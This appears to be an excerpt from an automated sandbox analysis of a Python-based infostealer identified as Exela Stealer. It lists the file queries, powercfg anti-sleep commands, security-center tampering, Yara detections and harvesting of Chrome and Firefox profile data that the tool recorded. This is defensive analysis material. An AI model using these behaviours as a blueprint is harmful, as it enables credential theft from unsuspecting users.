Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache\_helpers_c.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_writer.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_parser.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\mask.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\reader_c.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_uuid.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist\_frozenlist.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings\_rust.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_cffi_backend.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 76_2_00007FF75AE9D080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

76_2_00007FF75AE9D080

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 76_2_00007FF75AEB5C70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

76_2_00007FF75AEB5C70

Source: C:\Users\user\Desktop\Solara.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: svchost.exe, 00000000.00000002.2598324247.000001DBB1702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000000.00000002.2598324247.000001DBB1702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'

Stealing of Sensitive Information

Yara detected Exela Stealer

Source: Yara match	File source: 0000004D.00000003.2068669850.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2070969941.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2072039698.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2074477936.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2084894174.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2069028034.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Python Stealer

Source: Yara match	File source: 0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Detected generic credential text file

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user~1\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Cookies.txt
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user~1\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Firefox\History.txt
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user~1\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\system_info.txt
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user~1\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\network_info.txt
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user~1\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\process_info.txt

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default
